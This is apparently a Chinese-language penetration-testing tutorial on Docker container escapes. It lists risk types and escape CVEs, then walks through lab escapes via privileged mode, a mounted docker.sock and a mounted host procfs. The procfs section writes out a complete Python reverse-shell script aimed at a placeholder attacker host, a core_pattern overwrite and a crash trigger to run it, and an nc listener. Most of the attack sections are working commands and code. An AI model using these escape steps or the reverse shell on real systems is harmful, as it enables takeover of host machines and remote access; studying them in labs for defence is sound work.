1、Docker 是干嘛的?
2、Docker 对于渗透测试影响?
3、Docker 渗透测试点有哪些?
容器镜像存在的风险
- 不安全的组件
- 不安全的镜像
活动中的容器存在的风险
- 不安全的容器应用
- 不受限制的资源共享
- 不安全的配置与挂载
其他风险
- 容器网络风险
- 软件自身的漏洞
- 宿主机操作系统风险
4、前渗透 - 判断在 Docker 中
没有权限:端口扫描详细信息,根据应用对象表现
拿到权限:blog.csdn.net/qq_23936389/article/details/131486643
5、前渗透 - 镜像中的应用漏洞
6、前渗透 - 镜像中的默认配置
7、后渗透 - 三种安全容器逃逸
- 特权模式启动导致(不安全启动 适用于 java jsp 高权限无需提权 还要提权才能逃逸)
- 危险挂载启动导致(危险启动 适用于 java jsp 高权限无需提权 还要提权才能逃逸)
- docker 自身 & 系统漏洞(软件漏洞和系统漏洞 都可用)
参考:https://wiki.teamssix.com/CloudNative/
Docker 逃逸漏洞盘点
1、Docker 自身漏洞
cve-2021-25741
cve-2021-30465
cve-2022-0492
2、内核漏洞
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe
3、不安全的配置
privileged-container
- 含义:容器以 privileged(特权)模式运行。
- 风险:特权容器拥有主机上的几乎所有内核能力(Capabilities),几乎等同于主机上的 root 权限。攻击者如果突破容器,可能直接控制主机。
- 典型场景:某些特殊应用(如 Docker in Docker)需要特权模式,但通常应避免。
mount-docker-sock
- 含义:容器挂载了主机的 Docker 守护进程套接字文件(/var/run/docker.sock)。
- 风险:通过该套接字,容器可以直接与主机 Docker 引擎交互,从而创建或删除其他容器,甚至运行恶意容器(相当于获得主机控制权)。
- 典型场景:CI/CD 工具(如 Jenkins 容器)可能需要挂载 Docker 套接字来构建镜像,但这是高风险操作。
mount-host-etc
- 含义:容器挂载了主机的 /etc 目录。
- 风险:/etc 包含主机系统的关键配置(如密码文件、影子文件 /etc/shadow、SSH 密钥等)。攻击者读取或修改这些文件,导致主机沦陷。
- 典型场景:监控或日志工具需要访问主机配置,但应限制为只读或最小权限。
mount-host-procfs
- 含义:容器挂载了主机的 /proc 文件系统。
- 风险:/proc 暴露了主机内核和进程信息,攻击者可利用它逃逸到主机(如通过修改 core_pattern 触发任意代码执行)。
- 典型场景:调试工具可能需要访问 /proc,但生产环境应禁用。
mount-var-log
- 含义:容器挂载了主机的 /var/log 目录。
- 风险:日志中可能包含敏感信息(如认证日志、应用日志)。攻击者可利用这些信息进行横向渗透。
- 典型场景:日志收集器(如 Fluentd)需要访问日志文件,但应限制为只读。
cap_dac_read_search-container
- 含义:容器拥有 CAP_DAC_READ_SEARCH 内核能力。
- 风险:该能力允许容器绕过文件读权限检查,可读取主机上的任意文件(如 /etc/shadow)。
- 缓解:除非必要,否则应通过 —cap-drop 移除该能力。
cap_sys_admin-container
- 含义:容器拥有 CAP_SYS_ADMIN 内核能力。
- 风险:这是最危险的能力之一,允许执行挂载文件系统、命名空间操作等,极易导致容器逃逸(如利用 cgroup 漏洞)。
- 缓解:除非绝对必要(如运行 systemd 的容器),否则必须禁用。
容器逃逸 - 特权模式
启动靶场:
docker run --rm --privileged=true -it alpine检测环境:
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"判断特权:
cat /proc/self/status | grep CapEff查看目录:
fdisk -l特权逃逸:
mkdir /test && mount /dev/vda1 /test判断结果:
cd /test/ && ls容器逃逸 - 危险挂载
1、挂载 Docker Socket 逃逸
启动靶场:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu进入环境:
docker exec -it with_docker_sock /bin/bash检测环境:
ls -lah /var/run/docker.sock挂载逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host2、挂载宿主机 procfs 逃逸
https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs
启动环境:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu检测环境:
find / -name core_pattern查找容器在宿主机下的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir写入文件:
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_patterncat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
gcc x.c -o x执行文件:
./x
nc -lvvp xxxx模拟真实场景:
- 高权限-Web 入口到 Docker 逃逸(Java)
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721- 低权限-Web 入口到 Docker 逃逸(PHP)
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa